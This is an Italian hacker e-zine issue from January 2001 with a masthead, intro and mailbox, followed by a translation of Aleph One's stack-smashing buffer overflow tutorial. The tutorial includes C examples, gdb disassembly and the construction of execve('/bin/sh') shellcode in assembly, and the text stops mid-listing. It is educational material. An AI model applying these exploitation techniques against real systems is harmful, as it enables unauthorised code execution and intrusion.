/ / D . i . r . t . y . N . e . t / /n° 7 / Rivista mensile/bimensile gratis sulla sicurezza mese uscita Gennaio 2001 /Tutti i testi sono sottoposti ad adattamento - syn / /La rivista non segue un regolare andamento per le uscite / /Inizio Disclaimer / Tutto il contenuto di questo file di testo è da ritenersi dannoso quindi non applicabile. L'utente è pregato di non mettere in atto quanto scritto. Esso è stato pubblicato solo per offrire una conoscenza maggiore in ambito, NON per altri scopi. Il testo non si puo' modificare ne' tanto meno vendere senza il consenso dell'autore. Se non si rispettano le norme l'utente avrà commesso azione illegale. In questo testo è solamente presente INFORMAZIONE, e l'informazione per legge è LIBERA. Leggendo queste righe tu ACCETTI I TERMINI descritti, se ci fosse qualcosa di contrario al tuo volere, esci e cancella questo file. /Fine Disclaimer / / website / http://www.dienne.da.ru http://www.accaet.da.ru /collaboratori-email / syn - synarckio@yahoo.it av4Tar_ - avatar@hackersat.com Jrash - jrash@hackersat.com Ghent - ghent@hackersat.com kEwL - kewl@penguinpowered.com Dibbellas - squall_00158@yahoo.com oVERDRIVE - overd@hobbiton.org ^SiD^ - Screener_it - mR_bIs0n - /ascii / syn /email a cui mandare gli articoli / synarckio@yahoo.it /email a cui proporre domande / synarckio@yahoo.it /staff assemblo / syn /===========================::=============================::=================/ / /Indice /Allegati / / /===========================::=============================::=================/ /800x600 standard full screen / Indice Titolo Collaboratore /Intro / Intro - syn & Ghent Mailbox - Ghent /Hacking, sicurezza informatica, programmazione / Smashing the stack for fun and profit - kEwL D4n1a - SPYRO Programmazione di base con socket - BracaMan +++ATH0 ping exploit - ^SiD^ Overclokkiamo un p3 da 1ghz - Dibbellas Winsock e visual basic - Screener_it /Mezzing / /Phreaking / /Narcoting / /Miscellanea / CyberDelirio - Ghent Utilizzare l'adsl con OpenBSD - oVERDRIVE Connettersi con Linux - oVERDRIVE psyBNC help - syn Cosa sono le porte ? - Screener_it Pop3 - mR_bIs0n /Outro / Links - syn Outro - syn /Allegati / - cartella "attc" fakedos_source.zip = al momento l'ultima versione del fakedos opensource. winsock_e_VB.zip = vedi articolo "Winsock e visual basic" /===========================::=============================::=================/ / /Intro / syn & Ghent / /===========================::=============================::=================/ Salve gente, ebbene si sono io che vi parlo. Se state leggendo questo avrete sicuramente visto che il sottoscritto non ha scritto (bel gioco di parole) e quindi questo era il minimo che poteva fare :) Attualmente non sto curando nè accaet nè brokerall (www.brokerall.da.ru) come vi citai. Chiamatemi anche sfaticato ma io ho un solo computer, e questo (connesso ad una lan locale) non è usato solo da me purtroppo. In cambio vi prometto di far aggiornare un po' più costantemente il sito, con testi forse un po' di meno. Cosa posso dirvi, che sto cercando di ampliare la rivista anche per quanto riguarda un po' di programmazione, soprattutto C. Non lamentatevi per favore, anche perchè al momento accaet è composta da poche persone e quelle poche non sono tanto "attive", senza fare nomi naturalmente... :) Colgo l'argomento per farvi un annuncio importante: accaet è in cerca di nuovi membri o collaboratori della rivista dn. Appassionati di sicurezza informatica, programmazione e phreaking possono scrivermi al mio solito indirizzo (syn@hackersat.com), allegandomi magari un testo, per vedere che argomento preferisce. Inutile dirvelo, ma ve lo dico lo stesso, che non faremo nè sorteggi nè ampolle come nel lotto, e non siamo intenzionati a collaborare con il primo lameruccio che mi fa vedere un testo... :) Quindi fatevi avanti, male che và non vi insulteremo di certo :) Mentre sto scrivendo, quello che più mi mormora alla testa è il fatto che oggi sono poche le riviste online a rimanere costanti e senza pause, o meglio, girando per la rete mi sono trovato di fronte a ezine morte e che rimanevano con un progetto sospeso; a me questo non piace, anche perchè se faccio una promessa con i lettori mi piace sempre mantenerla, non tanto per fare il moralista del caxxo ma perchè alle soddisfazioni dei lettori si aggiungono di conseguenza le mie. Anche se nella pagina dei credits non è stato inserito il webmaster di accaet è Ghent :) Quindi per consigli, miglioramenti o errori scrivete lui e non più me. Ghent mo te la vedi te.... :) [ndGhent: Syn, questa me la paghi :PPP] Gente non aggiungo altro. Per informazione di ogni genere mi trovate sempre su ircnet, su #comitiva, #vtk, #severi o #zapolandia. il vostro syn (che sia amato o odiato) www.accaet.da.ru www.brokerall.da.ru ============ Salve ragazzi, grazie di aver scaricato questo settimo numero di Dirty/\/et :) Mi dispiace di non aver lasciato in sospeso il fakeDos, ma proprio non c'è il tempo di sistemarlo per bene... vi lascio il sorgente com'è al momento, piu' inchiavicato che mai perche' fermo nel bel mezzo di una sistemata generale... ...giusto per lasciarlo open source, dopo aver allegato solo l'exe insieme alle procedure batch un paio di numeri fa... Inoltre, inauguriamo con questo numero la sezione Mailbox, dove saranno pubblicate le risposte alle mails piu' interessanti che ci arrivano, meglio ancora se di interesse generale. Ed ora, buona lettura :) Ghent /===========================::=============================::=================/ / /Mailbox / Ghent / /===========================::=============================::=================/ Ometto nick ed email del lettore per rispetto della privacy, se volete che siano pubblicati indicatelo espressamente nelle mails. *** > Salve, Ghent! Ciao... :) > Complimenti per l'articolo sull'hacking del Flash, fa > piacere sapere cose di cui ignoravi > l'esistenza! E a me fa piacere che quell'articolo sia piaciuto a qualcuno :) > Comunque ti ho scritto anche per chiederti un > consiglio: sai mica dove posso trovare programmi > che mi diano il .fla di un'animazione Flash? (.swf) > Mi spiego meglio: mettiamo che abbia trovato > un'animazione davvero bella, di cui ho solo il > filmato già compilato (l'swf, insomma). Per studiare > tutti gli effetti ed imparare qualcosina > dovrei avere il .fla, ma come ben sai non è possibile! > O si? Esistono programmi che 'craccano' il filmato > dando il .fla? La questione è un po' diversa... la macromedia ha rilasciato le specifiche del formato swf (www.openswf.org mi sembra ci siano un sacco di info) ma non del formato .fla, quindi un programma che puo' produrre il fla da un swf non esiste, mentre visto che si conosce la struttura degli swf ci sono un sacco di programmi e programmini che esportano in swf (swish, swift 3d, flix, flafx ecc..) Esistono pero' vari programmi, che ti consiglio di cercare, che possono permetterti di imparare cmq qualcosa, come dici tu, e capire come funziona un movie swf... oltre che estrarre simboli e animazioni. Ci sono programmini che semplicemente sproteggono gli swf e ti permettono di importarli in Flash (come serie di keyframes, pero'... tutti sullo stesso layer), poi c'è l'ottimo ActionScript viewer 2 che ti permette di vedere tutti gli script (e anche di piu') e mi sembra vari altri progs, ad esempio per estrarre l'swf da un projector .exe... insomma, fatti un giro su google e cerca "Actionscript viewer", "Swifftools", "FlashJester"... troverai un sacco di materiale. > Ti ringrazio anticipatamente! di niente, anzi scusa se ti rispondo con molto ritardo :) *** Per questa volta è tutto... scriveteci :) /===========================::=============================::=================/ / /Smashing The Stack For Fun And Profit / kEwL / /===========================::=============================::=================/ XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX di Aleph One aleph1@underground.org tradotto da kEwL` `distruggere lo stack` [programmazione C]. In molte implementazioni C è possibile corrompere lo stack d'esecuzione scrivendo dopo la fine di un array dichiarato auto in una routine. Si dice che il codice che fa ciò distrugga lo stack, e può causare l'uscita dalla routine saltando a un indirizzo casuale. Questo può causare i bugs data-dependent più insidiosi conosciuti all'uomo. Le varianti includono eliminare lo stack, scrivere a casaccio lo stack, mutilare lo stack. Vedi spam; vedi anche alias bug, fandango on core, memory leak, precedence lossage, overrun screw. Introduzione ~~~~~~~~~~~~ Negli ultimi mesi c'è stato un notevole incremento di vulnerabilità buffer overflow scoperte e exploitate. Esempi sono syslog, splitvt, sendmail 8.7.5, mount di Linux/FreeBSD, librerie Xt, at, ecc. Questo documento cerca di spiegare cosa sono i buffer overflow e come funzionano i loro exploits. E' necessaria una conoscenza di base di assembly. La conoscenza dei concetti della memoria virtuale e esperienza con gdb può essere utile ma non necessaria. Premettiamo inoltre che stiamo lavorando con un CPU Intel x86, e che il sistema operativo è Linux. Alcune definizioni di base prima di iniziare: Un buffer è semplicemente un blocco di memoria del computer che gestisce più esempi dello stesso tipo di dati. I programmatori di C associano normalmente con la parola buffer, array. Più comunemente, array di caratteri. Gli array, come tutte le varaibili in C, possono esere dichiarati sia statici che dinamici. Le variabili statiche sono allocate al momento che vengono caricate. Le variabili dinamiche sono allocate al momento d'avvio dello stack. Creare è un overflow vuol dire riempire eccessivamente. Ci dedicheremo solo agli overflows con buffer dinamico, conosciuti come buffer overflow stack-based. Processare l'Organizzazione della Memoria ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Per capire cosa sono i buffer dello stack dobbiamo prima capire come è organizzato un processo in memoria. I processi sono divisi in tre regioni: Testo, Dati e Stack. Ci concentreremo sulla regione stack, ma prima una piccola panoramica delle altre regioni. La regione testo è fissata dal programma e include il codice (istruzioni) e dati in sola lettura. Questa regione corrisponde alla sezione del testo del file eseguibile. Questa regione è normalmente contrassegnata in sola lettura e ogni tentativo di scriverci darà luogo a un segmentation violation. La regione dati contiene dati inizializzati e non. Le variabili statiche sono memorizzate in questa regione. La regione dati corrisponde alle sezioni data-bss di un file eseguibile. La sua dimensione può essere cambiata con la chiamata brk(2). Se l'espansione dei dati bss o lo stack dell'utente esaurisce la memoria disponibile, il processo è bloccato ed verrà eseguito di nuovo con uno spazio di memoria maggiore. La nuova memoria è aggiunta tra i dati e i segmenti dello stack. /-------------------\ indirizzi | | di memoria | Testo | più bassi | | |-------------------| | (Inizializzato) | | Dati | |(Non-Inizializzati)| |-------------------| | | | Stack | indirizzi | | di memoria \-------------------/ più alti Fig. 1 Regione della memoria dei processi Cos'è uno Stack? ~~~~~~~~~~~~~~~~ Uno stack è un tipo di dati astatto usato frequentemente in informatica. Uno stack di oggetti ha la proprietà che l'ultimo oggetto inserito sarà il primo oggetto eliminato. Questa proprietà è chiamata Last-In-First-Out (LIFO). Sono definite molte operazioni negli stacks. Le più importanti sono PUSH e POP. PUSH inserisce un elemento nello stack; POP, invece, riduce la dimensione dello stack eliminando l'ultimo elemento inserito nello stack. Perchè usiamo uno Stack? ~~~~~~~~~~~~~~~~~~~~~~~~ I computer moderni sono progettati tenendo conto i linguaggi di programmazione ad alto livello. La tecnica più importante per strutturare dei programmi introdotta dai linguaggi ad alto livello è la procedura o funzione. Da un certo punto di vista, una chiamata di procedura altera il flusso di controllo proprio come fa uno JUMP, ma non come lo JUMP, una funzione ritorna al suo posto eseguendo le istruzioni che seguono. Questa caratteristica è implementata con l'aiuto dello stack. Lo stack è anche usato per allocare dinamicamente le variabili locali usate nella funzione, per passare parametri alle funzioni, e per restituire valori dalla funzione. La Regione dello Stack ~~~~~~~~~~~~~~~~~~~~~~ Uno stack è un blocco contiguo di memoria contenente dati. Un registro chiamato stack pointer (SP) punta alla cima dello stack. La base dello stack è a un indirizzo fissato. La sua dimensione è adattata dinamicamente dal kernel al momento dell'avvio. La CPU implementa le istruzioni di PUSH e di POP. Lo stack è composto da frammenti logici di stack che sono "pushed" quandi si chiama una funzione e "popped" quando si ritorna. Un frammento di stack contiene i parametri di una funzione, le sue variabili locali, e i dati necessari per recuperare il precedente frammento di stack, includendo il valore del puntatore d'istruzione al momento della chiamata della funzione. A seconda dell'implementazione lo stack diminuirà (verso gli indirizzi di memoria più bassi), o crescerà. Nei nostri esempi useremo uno stack che diminuisce. In questo modo lo stack diminuisce in molti computers, compresi i processori Intel, Motorola, SPARC e MIPS. Lo stack pointer (SP) è comunque un'implementazione dipendente. Può puntare all'ultimo indirizzo dello stack, o al prossimo indirizzo disponibile dopo lo stack. Per la nostra discussione terremo presente che punta all'ultimo indirizzo dello stack. In aggiuna allo stack pointer, che punta alla cima dello stack (indirizzi numericamente più bassi, è spesso conveniente avere un frame pointer (FP) che punta a una fissata locazione in un frame. Alcuni testi si riferiscono ad esso come local base pointer (LB). Principalmente, le variabili locali possono essere riferite dando il loro offset dall'SP. Comunque, appena le parole sono immesse nello stack e eliminate dallo stack, questi offset cambiano. In alcuni casi il compilatore può tener conto del numero di parole nello stack e così correggere gli offset, in alcuni casi non può, e in tutti i casi è necessaria un'amministrazione considerevole. Inoltre, su alcune macchine, come per esempio macchine con processori Intel-based, accedere a una variabile a una distanza conosciuta dallo SP richiede più istruzioni. Di conseguenza, molti compilatori usano un secondo registro, l'FP, per riferirsi sia alle variabili locali sia ai parametri perchè la loro distanza dall'FTP non cambia con i PUSH e i POP. Su processori Intel, il BP (EBP) è usato per questo scopo. Dato che il nostro stack cambia, i parametri attuali hanno offset positivi e le variabili locali hanno offset negativi dall'FP. La prima cosa che una procedura deve fare quando è chiamata è salvare l'FP precedente. Poi copia l'SP nell'FP per creare il nuovo FP, e avanza l'SP per riservare spazio per le variabili locali. Questo codice è chiamato "procedure prolog". Quando la procedura termina, lo stack deve essere pulito di nuovo; questa procedura è chiamata "procedure epilog". Le istruzioni Intel ENTER e LEAVE e le istruzioni Motorola LINK e UNLINK sono state progettate per permettere un efficiente funzionamento di procedure prolog e epilog. Vediamo come potrebbe sembrare lo stack in un semplice esempio: esempio1.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ------------------------------------------------------------------------------ Per capire cosa fa il programma con la funzione function(), compiliamo il programma con gcc usando il parametro -S che genera anche il codice assembly: $ gcc -S -o esempio1.s esempio1.c Dando uno sguardo al codice assembly, vediamo che la chiamata alla funzione è tradotta in: pushl $3 pushl $2 pushl $1 call function Questo inserisce i 3 argomenti nello stack e chiama funcion(). L'istruzione 'call' inserirà l'instruction pointer (IP) nello stack. Chiamaremo l'IP salvato return address (RET). La prima cosa nella funzione è nel procedure prolog: pushl %ebp movl %esp,%ebp subl $20,%esp Questo inserisce EBP, il frame pointer, nello stack. Poi copia l'attuale SP in EBP, creando il nuovo puntatore FP. Chiameremo il puntatore salvato SP, SFP. Inoltra esso alloca lo spazio per le varaibili locali sottraendo la sua dimensione da SP. Dobbiamo ricordare che la memoria può essere solo indirizzata in multipli della dimensione di parola. Una parola nel nostro caso è 4 bytes, o 32 bits. Così il nostro buffer di 5 bytes andrà ad occupare 8 bytes (2 parole) di memoria, e il nostro buffer di 10 bytes andrà ad occupare 12 bytes (3 parole) di memoria. Questo perchè SP è stato sottratto da 20. Tenendo presente ciò, il nostro stack è qualcosa di simile, quando function() è chiamata (ogni spazio rappresenta un byte): base della cima della memoria memoria buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] cima dello base dello stack stack Buffer Overflows ~~~~~~~~~~~~~~~~ Un buffer overflow è il risultato dell'inserimento di dati in uno buffer in quantità maggiore che il buffer può gestire. Come facciamo ad eseguire codice arbitrario sfruttando questi errori di programmazione? Facciamo un altro esempio: esempio2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------------------------------------------------------------------------------ Questo è un programma che ha un tipico errore. La funzione copia una determinata stringa usando strcpy() e non strncpy(). Se esegui questo programma ci sarà una violazione di segmentazione. Vediamo come appare lo stack quando viene eseguite la chiamata a function(): base della cima della memoria memoria buffer sfp ret *str <------ [ ][ ][ ][ ] cima dello base dello stack stack Che sta succedendo? Perchè abbiamo una violazione di segmentazione? Semplice. strcpy() sta copiando il contenuto di *str in buffer[] finchè non viene trovato un carattere nullo nella stringa. Come possiamo vedere buffer[] è molto più piccolo di *str. buffer[] è lungo 16 bytes, e stiamo cercando di riempiro con 256 bytes. Questo significa che tutti i 240 bytes dopo buffer stanno per essere sovrascritti. Questi comprendono SFP, RET e anche *str! Abbiamo riempito large_string con il carattere 'A'. Il suo valore esadecimale è 0x41. Questo significa che l'indirizzo di ritorno è ora 0x41414141. E' al di fuori dello spazio del processo. Questo perchè quando la funzione ritorna e cerca di leggere la prossima istruzione da quell'indirizzo, si ha una violazione di segmentazione. Così un buffer overflow ci permette di cambiare l'indirizzo di ritorno di una funzione. In questo modo possiamo cambiare il flusso d'esecuzione del programma. Torniamo al primo esempio e rivediamo com'era lo stack: base della cima della memoria memoria buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] cima dello base dello stack stack Cerchiamo di modificare il nostro primo esempio in modo tale che esso sovrascriva l'indirizzo di ritorno, e dimostri come possiamo eseguire codice arbitrario. Appena prima di buffer1[] sullo stack c'è SFP, e prima di esso, l'indirizzo di ritorno. Questo è 4 bytes dopo la fine di buffer1[]. Ma ricorda che buffer1[] è 2 parole e quindi 8 bytes. Quindi l'indirizzo di ritorno è 12 bytes dopo l'inizio di buffer1[]. Modificheremo il valore di ritorno in modo tale che l'istruzione di assegnamento 'x =1;' verrà saltata dopo la chiamata di funzione. Per fare ciò aggiungiamo 8 bytes all'indirizzo di ritorno. Il nostro codice sarà: esempio3.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ------------------------------------------------------------------------------ Abbiamo aggiunto 12 all'indirizzo di buffer1[]. Questo nuovo indirizzo è dove è memorizzato l'indirizzo di ritorno. Vogliamo evitare l'assegnamento alla chiamata printf. Come aggiungiamo 8 all'indirizzo di ritorno? Abbiamo usato prima un valore di test (per esempio 1), compilato il progarmma, e poi abbiamo eseguito gdb: ------------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490
: pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ Possiamo vedere che quando chiamamo function() il RET è 0x80004a8, e l'assegnamento è all'indirizzo 0x80004ab. La prossima istruzione che vogliamo eseguire e all'indirizzo 0x80004b2. Un piccolo calcolo ci dice che la distanza è 8 bytes. Shell Code ~~~~~~~~~~ Ora che sappiamo che possiamo modificare l'indirizzo di ritorno e il flusso d'esecuzione, quale programma dobbiamo eseguire? Nella maggior parte dei casi vogliamo semplicemente che il programma ci dia una shell. Dalla shell poi possiamo eseguire tutti i comandi che vogliamo. Ma che facciamo se nel programma non c'è il codice che vogiamo exploitare? Come possiamo inserire istruzioni arbitrarie nel suo spazio d'indirizzo? La risposta è mettere codice arbitrario nel buffer che stiamo exploitando, e sovrascrivere l'indirizzo di ritorno in modo tale da ritornare nel buffer. Assumiamo che lo stack comincia dall'indirizzo 0xFF, e la S sta per il codice che vogliamo eseguire; lo stack sarà una cosa simile: base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| cima dello base dello stack stack Il codice per avere una shell in C è qualcosa del genere: shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ Per vedere che fa in assembly compiliamo il programma ed eseguiamo gdb. Ricorda di usare l'opzione -static. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Cerchiamo di capire che sta succedendo. Cominceremo a studiare main: ------------------------------------------------------------------------------ 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp Questo è il preludio della procedura. Dapprima salva il vecchio frame pointer, rende l'attuale stack pointer il nuovo frame pointer, e lascia spazio per le variabili locali. In questo caso: char *name[2]; o 2 puntatori a un carattere. I puntatori sono lunghi una parola così questo lascia spazio per due parole (8 bytes). 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) Copiamo il valore 0x800027b8 (l'indirizzo della striga "/bin/sh") nel primo puntatore di name[]. Questo è equivalente a: name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) Copiamo il valore 0x0 (NULL) nel secondo puntatore di name[]. Questo è equivalente a: name[1] = NULL; La chiamata a execve() comincia quì. 0x8000144 : pushl $0x0 Inseriamo gli argomenti a execve() in ordine inverso nello stack. Cominciamo con NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax Carichiamo l'indirizzo di name[] nel registro EAX. 0x8000149 : pushl %eax Inseriamo l'indirizzo di name[] nello stack. 0x800014a : movl 0xfffffff8(%ebp),%eax Carichiamo l'indirizzo della stringa "/bin/sh" nel registro EAX. 0x800014d : pushl %eax Inseriamo l'indirizzo della stringa "/bin/sh" nello stack. 0x800014e : call 0x80002bc <__execve> Chiamiamo la procedura execve(). L'istruzione inserisce l'IP nello stack. ------------------------------------------------------------------------------ Ora execve(). Tieni in mente che stiamo usando un sistema Linux Intel. I dettagli di syscall cambieranno da OS a OS, e da CPU a CPU. Alcuni passerano gli argomenti nello stack, altri nei registri. Alcuni usano un software interrupt per saltare al kernel mode, altri usano una far call. Linux passa i suoi argomenti alla chiamata di sistema nei registri e usa un software interrupt per saltare in kernel mode. ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx Il preludio della procedura. 0x80002c0 <__execve+4>: movl $0xb,%eax Copia 0xb (11 decimali) nello stack. Questo è l'indice nela tavola syscall. 11 è execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Copia l'indirizzo di "/bin/sh" in EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Copia l'indirizzo di name[] in ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Copia l'indirizzo del puntatore nullo in %edx. 0x80002ce <__execve+18>: int $0x80 Passa al kernel mode. ------------------------------------------------------------------------------ Come possiamo vedere c'è molto per la chiamata execve(). Tutto quello che dobbiamo fare è: a) Avere la stringa "/bin/sh" da qualche parte in memoria. b) Avere l'indirizzo della stringa "/bin/sh" da qualche parte in memoria seguita da una lunga parola nulla. c) Copiaer 0xb nel registro EAX. d) Copiare l'indirizzo dell'indirizzo della stringa "/bin/sh" nel registro EBX. e) Copiare l'indirizzo della stringa "/bin/sg" nel registro ECX. f) Copiare l'indirizzo della lunga parola nulla nel registro EDX. g) Eseguire l'istruzione int $0x80. Ma che succede se l'istruzione execve() fallisce per un qualsiasi motivo? Il programma continuerà ad andare a prendere istruzioni dallo stack, che può contenere dati casuali! Il programma terminerà sicuramente con un core dump. Voggliamo che il programma termini senza problemi se la chiamata execve fallisce. Per fare ciò dobbiamo aggiungere una chiamata d'uscita dopo la chiamata execve. Com'è una chiamata d'uscita? exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ La chiamata exit metterà 0x1 in EAX, metterà il codice d'uscita in EBX, ed eseguirà "int 0x80". Ecco tutto. La maggior parte delle applicazioni ritornano 0 all'uscita per indicare che non ci sono stati errori. Mettermo 0 in EBX. La nostra lista di passi è ora: a) Avere la stringa "/bin/sh" da qualche parte in memoria. b) Avere l'indirizzo della stringa "/bin/sh" da qualche parte in memoria seguita da una lunga parola nulla. c) Copiaer 0xb nel registro EAX. d) Copiare l'indirizzo dell'indirizzo della stringa "/bin/sh" nel registro EBX. e) Copiare l'indirizzo della stringa "/bin/sg" nel registro ECX. f) Copiare l'indirizzo della lunga parola nulla nel registro EDX. g) Eseguire l'istruzione int $0x80. h) Copiare 0x1 nel registro EAX. i) Copiare 0x0 nel registro EBX. j) Eseguire l'istruzione int $0x80. Cercando di mettere tutto assieme in linguaggio assembly, mettendo la stringa dopo il codice e ricordando che metteremo 'indirizzo della stringa, e la parola nulla dopo l'array, avremo: ------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 la stringa /bin/sh va quì. ------------------------------------------------------------------------------ Il problema è che non sappiamo dove sarà messo nello spazio di memoria del programma stiamo cercando di exploitare il codice (e la stringa che lo segue). Un modo per saperlo è quello di usare JMP e CALL. Le istruzioni JMP e CALL possono usare indirizzamenti IP relativi, e ciò significa che possiamo saltare a un offset dall'IP corrente senza aver il bisogno di sapere l'esatto indirizzo di dove vogliamo saltare in memoria. Se mettiamo un'istruzione CALL appena prima la stringa "/bin/sh", e un'istruzione JMP a essa, gli indirizzi delle stringhe saranno inseriti nello stack come l'indirizzo di ritorno quando viene eseguita CALL. Tutto ciò di cui abbiamo bisogno è copiare l'indirizzo di ritorno nel registro. L'istruzione CALL può semplicemente chiamare l'inizio del nostro codice. Tenendo conto che J sta per l'istruzione JMP, C per CALL e s per la stringa, il flusso d'esecuzione sarà ora: base della DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF cima della memoria 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memoria buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) cima dello base dello stack stack Con queste modifiche, usando indirizzi indicizzati, e scrivendo quanti bytes prende ogni istruzione, il nostro codice sarà: ------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset,(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes la stringa /bin/sh va quì. ------------------------------------------------------------------------------ Calcolando gli offsets da jmp a call, da calla a popl, dall'indirizzo di stringa al nuovo array e dall'indirizzo d istringa alla parola lunga nulla, abbiamo: ------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl 